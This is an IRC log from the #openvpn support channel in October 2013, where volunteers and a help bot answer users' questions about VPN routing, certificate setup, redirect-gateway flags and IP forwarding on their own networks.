14:18 -!- master_of_master [~master_of@p4FF24A0A.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
14:27 <@krzee> joker_89, i dont understand the question
14:29 <@krzee> i see the diagram, thanks for that
14:29 <@krzee> i will guess the goal
14:29 <@krzee> you are the laptop at 192.168.1.6 and you want to access 10.138.78.97/27 over the vpn?
14:30 <@krzee> if that is correct, please tell me whether or not you have a basic understanding of how static routing works
14:31 -!- kasper2 [~ircap@200.Red-2-138-39.dynamicIP.rima-tde.net] has joined #openvpn
14:32 <@krzee> and in the LAN where 10.138.78.97/27 lives you also have a lan 192.168.1.1 and they are connected by a router which happens to be your VPN node for that network...?
14:33 -!- joker_89 [~ircap@200.Red-2-138-39.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
14:37 -!- kasper2 [~ircap@200.Red-2-138-39.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
14:38 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
14:39 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:41 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 248 seconds]
14:42 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
15:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:15 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
15:16 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
15:24 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
15:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
15:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:06 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:26 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:26 -!- mode/#openvpn [+v s7r] by ChanServ
16:30 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
16:32 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 264 seconds]
16:32 -!- Thermi_ is now known as Thermi
16:46 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
16:46 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
17:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:18 -!- AginLap_ [~AginLap@tsn85-159-237-3.dyn.nltelcom.net] has quit [Quit: Leaving]
17:24 -!- Agin [~Agin@shell01.copyleft.no] has quit [Ping timeout: 245 seconds]
17:25 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
17:30 -!- Agin [~Agin@shell01.copyleft.no] has quit [Ping timeout: 265 seconds]
17:30 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
17:32 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 265 seconds]
17:45 -!- Freeaqingme [~Freeaqing@91.214.168.110] has quit [Quit: ZNC - http://znc.in]
18:30 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has joined #openvpn
18:30 -!- mode/#openvpn [+o debbie10t] by ChanServ
18:30 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has left #openvpn []
19:05 -!- s7r_g [~s7r@openvpn/user/s7r] has joined #openvpn
19:05 -!- mode/#openvpn [+v s7r_g] by ChanServ
19:05 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
19:13 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
19:21 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has joined #openvpn
19:21 -!- mode/#openvpn [+o debbie10t] by ChanServ
19:22 <@debbie10t> hey ppl anybody around ?
19:22 <@debbie10t> do we support EASY-RSA ?
19:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:24 <@debbie10t> !easy-rsa
19:24 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads
19:24 <@debbie10t> hrm
19:25 <@debbie10t> #1
19:25 <@debbie10t> !help
19:25 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
19:25 <@debbie10t> !support
19:30 <@debbie10t> no problem .. i worked it out .. they have to learn howto learn !
19:39 -!- debbie10t is now known as debbei10t_zzz
20:09 <@krzee> !pki
20:09 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
20:09 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
20:09 <@krzee> literally they just need to follow that
20:09 <@krzee> remember when sourcing vars file in linux the leading . matters in . ./vars
20:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
20:54 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
20:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
21:12 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Quit: elfixit]
21:36 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
21:39 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
22:00 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
22:07 -!- elfixit [~Icedove@46-65-216-42.zone16.bethere.co.uk] has joined #openvpn
22:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
22:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:20 -!- elfixit [~Icedove@46-65-216-42.zone16.bethere.co.uk] has quit [Quit: elfixit]
22:37 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:43 -!- Carbon_Monoxide [~cmonxide@14.0.143.84] has joined #openvpn
22:44 -!- Carbon_Monoxide [~cmonxide@14.0.143.84] has left #openvpn []
23:37 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
23:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
--- Day changed Mon Oct 28 2013
00:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:07 -!- Lope [~Lope@41-135-64-33.dsl.mweb.co.za] has joined #openvpn
01:10 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
01:58 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
02:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:49 -!- Carbon_Monoxide [~cmonxide@14.0.143.84] has joined #openvpn
02:50 -!- Carbon_Monoxide [~cmonxide@14.0.143.84] has left #openvpn []
02:55 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
03:08 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:11 -!- mattock_afk is now known as mattock
03:15 -!- crus` [~crusader@2001:44b8:319e:2900:f4bd:b993:e38e:4ba2] has joined #openvpn
03:17 -!- tharkun [~0@187.188.94.182] has quit [Ping timeout: 245 seconds]
03:18 -!- crus [~crusader@2001:44b8:319e:2900:9428:f19f:5d60:bd4c] has quit [Ping timeout: 245 seconds]
03:19 -!- tharkun [~0@187.188.94.182] has joined #openvpn
04:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:13 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:14 -!- crus` [~crusader@2001:44b8:319e:2900:f4bd:b993:e38e:4ba2] has quit [Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com )]
04:14 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:16 -!- crus [~crusader@2001:44b8:319e:2900:f4bd:b993:e38e:4ba2] has joined #openvpn
04:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
04:50 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Ping timeout: 252 seconds]
05:23 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
05:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:09 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
06:21 -!- Lope [~Lope@41-135-64-33.dsl.mweb.co.za] has quit [Ping timeout: 246 seconds]
06:37 -!- Lope [~Lope@41-135-64-33.dsl.mweb.co.za] has joined #openvpn
06:46 -!- Laverne_ is now known as Laverne
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:53 -!- szr- [~s_r@unaffiliated/szr] has joined #openvpn
06:53 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:54 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
06:54 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
06:54 -!- Probeus [probeus@probeus.no] has quit [Read error: Operation timed out]
06:54 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Read error: Operation timed out]
06:54 -!- ex0a [~high@unaffiliated/ex0a] has quit [Read error: Operation timed out]
06:54 -!- exoa [~high@unaffiliated/ex0a] has joined #openvpn
06:54 -!- Probeus [probeus@probeus.no] has joined #openvpn
06:56 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 240 seconds]
06:57 -!- szr- is now known as szr
06:57 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:57 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:16 -!- Cultist [~Grand_Mew@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
07:17 < Cultist> Hi, possibly dumb question but if I set up openvpn on my server, will it interfere with the server's other network requirements while connected?
07:17 < Cultist> Not sure if the tunnel it establishes will just completely commandeer the connection
07:17 < Blashyrkh> you have to set the routes on your machine
07:18 -!- exoa is now known as ex0a
07:18 < Blashyrkh> accordingly
07:18 < Blashyrkh> but normally it is not taking over your default route
07:19 < Cultist> cool, thanks
07:22 -!- Lope [~Lope@41-135-64-33.dsl.mweb.co.za] has quit [Quit: Leaving]
07:24 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 260 seconds]
07:29 -!- BtbN [znc@btbn.de] has joined #openvpn
07:40 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 247 seconds]
07:44 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:45 -!- smue [smue@nostromo.smue.info] has joined #openvpn
07:56 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
08:32 -!- altermann [~none@184.69.128.118] has joined #openvpn
08:35 -!- Denial [Denial@90.216.209.93] has quit [Ping timeout: 245 seconds]
08:35 -!- Denial [Denial@90.216.209.93] has joined #openvpn
08:38 < altermann> hi there
08:39 < altermann> i'm trying to setup openvpn on a linux server running ipfire to a windows machine at another location
08:39 < altermann> when i try to connect from the windows machine it fails
08:40 < altermann> during the setup when i add the client to ipfire, i can't chose port 1194, it says it's being used by another server, so i chose a port above 50000
08:40 < altermann> would that have anything to do with it?
08:44 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
08:45 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:59 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 265 seconds]
09:11 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 272 seconds]
09:13 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:14 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
09:18 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 265 seconds]
09:25 -!- caelian [~caelian@ovh.caelian.net] has quit [Quit: RUN FOR YOUR LIVES!]
09:39 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Read error: Connection reset by peer]
09:41 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
09:44 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:54 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
09:55 -!- caelian [~caelian@ovh.caelian.net] has left #openvpn []
09:58 -!- altermann [~none@184.69.128.118] has quit [Quit: Leaving]
09:58 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:59 -!- altermann [~none@184.69.128.118] has joined #openvpn
10:02 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
10:06 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
10:38 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 246 seconds]
10:39 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
11:26 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-qlbytywckzaxsxez] has quit [Quit: Bye]
11:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:33 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-wolxphtizrkbeybr] has joined #openvpn
11:34 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 245 seconds]
11:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:47 -!- raidz_away is now known as raidz
11:56 -!- Blashyrkh [~michaeld@043-054-094-081.as39912.net] has left #openvpn []
12:12 -!- u0m3 [~u0m3@92.80.81.116] has quit [Ping timeout: 248 seconds]
12:19 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has joined #openvpn
12:20 -!- u0m3 [~u0m3@92.80.81.116] has joined #openvpn
12:29 -!- debbei10t_zzz [~ma1com10t@host-92-20-10-226.as13285.net] has quit [Ping timeout: 260 seconds]
12:49 -!- s7r_g is now known as s7r
12:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
12:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:05 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
13:06 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:17 -!- Pei [~pei@209.148.95.237] has quit [Quit: l8]
13:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:17 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
13:27 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
14:00 -!- Denial [Denial@90.216.209.93] has quit []
14:15 -!- master_of_master [~master_of@p4FF24BB1.dip0.t-ipconnect.de] has joined #openvpn
14:18 -!- master_o1_master [~master_of@p4FF24A44.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
14:30 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-jtrrruafvfahkvup] has quit [Ping timeout: 272 seconds]
14:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 272 seconds]
14:31 -!- moparisthebest_ [~quassel@cpe-184-57-178-66.cinci.res.rr.com] has joined #openvpn
14:31 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
14:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
14:32 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
14:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
14:32 -!- master_o1_master [~master_of@p4FF24BB1.dip0.t-ipconnect.de] has joined #openvpn
14:32 -!- master_of_master [~master_of@p4FF24BB1.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
14:32 -!- fling [~fling@fsf/member/fling] has quit [Remote host closed the connection]
14:33 -!- moparisthebest [~quassel@cpe-184-57-178-66.cinci.res.rr.com] has quit [Ping timeout: 272 seconds]
14:33 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-sulbfuvyhsmhgdtp] has joined #openvpn
14:33 -!- fling [~fling@fsf/member/fling] has joined #openvpn
14:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:50 -!- C-S-B [~C-S-B@host31-52-87-215.range31-52.btcentralplus.com] has quit [Ping timeout: 263 seconds]
14:53 -!- altermann [~none@184.69.128.118] has quit [Quit: Leaving]
15:05 -!- funky [~funky@gprs-inet-65-226.elisa.ee] has joined #openvpn
15:05 < funky> hey folks
15:05 < funky> how easy its to modify open vpn client?
15:05 < funky> like buttons, etc
15:05 < funky> the GUI part
15:09 -!- schnitzl [~schnitzl@dslb-188-105-163-230.pools.arcor-ip.net] has joined #openvpn
15:10 <+pekster> funky:
15:10 <+pekster> !gui
15:10 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
15:10 -!- C-S-B [~C-S-B@host109-145-138-152.range109-145.btcentralplus.com] has joined #openvpn
15:10 <+pekster> The wiki has links to the source. Mind the fact that the license is GPL-v2
15:14 < schnitzl> hi guys. here is what i want to do: vpn machine at home, i want to run all traffic over this box and i want full network access from the client side, the network is protected by some router with a firewall and a dhcp server. my first question is: i need this: push "redirect-gateway def1 bypass-dhcp" what exactly does bypass dhc mean? i have a dhcp server running in the router of the server network. do they interfear? what happ
15:14 < schnitzl> ens to the clients of that dhcp server (e.g. my girlfriend, who is at home, and want to browse the interwebz just normally). does the vpn box take over the dhcp control?
15:15 <+pekster> schnitzl: "bypass-dhcp" as a flag to --redirect-gateway is only needed in situations when the _client_ side DHCP server is not on-link
15:15 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
15:16 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 252 seconds]
15:16 <+pekster> If you don't have such a setup, you don't need it. You'd use it f.ex if you had a multi-site network at your client side and used a DHCP relay agent at the remote sites
15:16 -!- Devastator [~devas@unaffiliated/devastator] has quit []
15:16 < schnitzl> client side has a dhcp server, too.
15:16 <+pekster> Off-link?
15:17 < schnitzl> give me a second. need to understand what you wrote :D
15:18 < funky> pptp unsecured prone to passwd fishing
15:18 < funky> ?
15:19 <+pekster> funky: Yes, as easy as cloudcracker.com
15:19 < schnitzl> the cleint network can be an airport with no secure wifi/my university where access to some stuff is not allowed, etc.
15:19 < schnitzl> does that help?
15:20 -!- emid [~emid@192.241.162.156] has joined #openvpn
15:20 <+pekster> It can't hurt to use bypass-dhcp then if you don't know/control the client network in advance
15:20 <+pekster> It's somewhat uncommon to need it, but including it won't hurt
15:22 < schnitzl> let me reformulate: if i use that flag, the two dhcp servers wotn interfear with eachother? like that?
15:25 <+pekster> Nope
15:27 < schnitzl> my client wont interfear with the server side dhcp, because the server dhcp cant reach my client, and the vpn server gives me an ip adress?
15:28 <+pekster> Right
15:29 < schnitzl> :) okay. good good good. but which internal ip does my cleint have in the server network? the same as the vpn server?
15:30 < schnitzl> internal ip=lan ip. damn i am not fluent with the professional vocabulary. sorry for that.
15:30 <+pekster> Not if you're routing properly
15:30 <+pekster> !serverlan
15:30 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
15:30 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
15:33 < schnitzl> ip forwarding would be in my case "sudo sysctl -w net/ipv4/ip_forward=1 " and push would be "push "route 192.168.2.0 255.255.255.0""
15:33 < schnitzl> !route_outside_openvpn
15:33 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
15:34 < schnitzl> defautl gateway is in my case the router from the ISP...i guess.
15:34 <+pekster> Your distro should have a better way to make sysctl changes persistent (often /etc/sysctl.conf)
15:35 < schnitzl> yea. ofc. net.ipv4.ip_forward=1 in  /etc/sysctl.conf  true true.
15:35 < schnitzl> pekster: you helped me a lot thanks man. i think i understood some basics.
15:35 <+pekster> TBH, you're better off running your own router behind theirs, ideally with any ISP crap in a "bridged" or "pass-through" mode so your own router owns the public IPs
15:35 <+pekster> YMMV, depending on what features this thing has
15:36 < schnitzl> pity i cant try them now cause i am not at the serverlan and so i do not have acess to the router interface to add the routes :((
15:36 -!- debbei10t_zzz [~ma1com10t@host-92-20-10-226.as13285.net] has joined #openvpn
15:36 < funky> is there some general vpn channel
15:36 < funky> to talk about sstp too?
15:36 -!- debbei10t_zzz [~ma1com10t@host-92-20-10-226.as13285.net] has left #openvpn []
15:36 <+pekster> The flowcharts can get you started; keep in mind if you can reach your server you can use ssh forwarding to get access to the router's interface
15:37 < schnitzl> what do you think of openwrt.
15:37 < schnitzl> i think this is pretty ok, isnt it?
15:38 <+pekster> Yup, it's the embedded distro I'd recommend from a FOSS standpoint
15:38 < schnitzl> trueee. i could use ssh forwarding to access that routers webinterface. damnn. good man you are! :D
15:39 < schnitzl> what config do you use? you have a server running some router software and iptables and all that security stuff?
15:41 <+pekster> Outside of multicast, "routing software" is the kernel. You'd also be insane not to firewall your own hosts, although some people choose to firewall at the borders only. "M&M security" -- soft on the inside
15:41 < schnitzl> okay okay. this is another level. i think i stay with openwrt this is good for now. ;)
15:43 < schnitzl> thanks again :)
15:44 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
15:45 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
15:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:51 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
16:04 -!- aji [~alex@atheme/member/aji] has quit [Remote host closed the connection]
16:06 -!- aji [~alex@atheme/member/aji] has joined #openvpn
16:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
16:19 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Quit: No Ping reply in 180 seconds.]
16:19 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
16:31 -!- funky [~funky@gprs-inet-65-226.elisa.ee] has quit [Quit: Leaving.]
16:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:44 -!- mattock is now known as mattock_afk
16:59 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
17:03 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has quit [Quit: Ex-Chat]
17:18 -!- bawki [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 245 seconds]
17:18 -!- klein [~klein@187.85.190.29] has joined #openvpn
17:18 -!- klein [~klein@187.85.190.29] has quit [Changing host]
17:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:19 -!- lmm [uid6417@gateway/web/irccloud.com/x-axyfdqffpctnxrts] has quit [Read error: Connection reset by peer]
17:20 -!- lmm [uid6417@gateway/web/irccloud.com/x-zxvcdzxbaofriglf] has joined #openvpn
17:23 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
17:27 -!- funky [~funky@gprs-inet-65-111.elisa.ee] has joined #openvpn
17:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:39 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has joined #openvpn
17:40 -!- mode/#openvpn [+o debbie10t] by ChanServ
17:40 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has left #openvpn []
17:54 -!- syn4pse [~syn4pse@p5DDC26D2.dip0.t-ipconnect.de] has joined #openvpn
17:54 < syn4pse> good evening
18:00 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
18:02 -!- debbie10t [~ma1com10t@host-92-20-10-226.as13285.net] has joined #openvpn
18:02 -!- mode/#openvpn [+o debbie10t] by ChanServ
18:02 -!- gardar [~gardar@gardar.net] has joined #openvpn
18:04 < funky> nmnmnmnm
18:04 < funky> hey syn4pse
18:05 < syn4pse> I am thinking, if its possible to be connected to several vpns ( no push default route ) and then fiddle with the routing table to change the routing, instead of reconnecting and getting the gateway "pushed". anybody attempted something like this?
18:07 <+pekster> You're free of course to set up routing however you want. OpenVPN directives like --route, --redirect-gateway, and their --push/--pull wrappers are just a platform-neutral way to interact between openvpn and the OS-level routing
18:07 <+pekster> You might be interested in reading about --route-nopull in the manpage too (bot has some info at !nopull)
18:08 -!- funky [~funky@gprs-inet-65-111.elisa.ee] has left #openvpn []
18:08 < syn4pse> i read about that one
18:09 < syn4pse> i am not really a routing expert but i checked routes -n after connecting to the vpn and my default gateway has metric 0 and is pointing at my local gateway, so i cannot set any route with a lower metric and when i d change my gateway to the vpn gateway the connection would die ( cause the connection goes over my local gateway)
18:09 < syn4pse> if you get what i mean :p
18:10 <+pekster> This is why you usually use /1 routes, not replace the /0 route
18:10 <+pekster> See !def1 for info
18:10 < syn4pse> !def1
18:10 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
18:11 < syn4pse> ahhhh
18:12 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 264 seconds]
18:13 -!- emid [~emid@192.241.162.156] has joined #openvpn
18:20 -!- d1gital is now known as d1gtl
18:31 < dimm0k> i currently have openvpn set up on a local LAN where a connecting client is able to ping the openvpn server and the local LAN however i can't get the local LAN to ping the connecting client...  any suggestions on what i may be missing?
18:31 < dimm0k> here's an image of what i currently have...  http://imgur.com/w5iih1M
18:31 <@vpnHelper> Title: imgur: the simple image sharer (at imgur.com)
18:55 <+pekster> Sounds like firewall. See !serverlan for accessing a LAN behind the server (incl. a flowchart)
19:06 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
19:08 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
19:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:11 -!- syn4pse [~syn4pse@p5DDC26D2.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
19:11 -!- syn4pse [~syn4pse@p5DDC0BA4.dip0.t-ipconnect.de] has joined #openvpn
19:13 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
19:14 < dimm0k> !serverlan
19:14 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
19:14 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
19:24 < dimm0k> !ipforward
19:24 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
19:25 < dimm0k> !linipforward
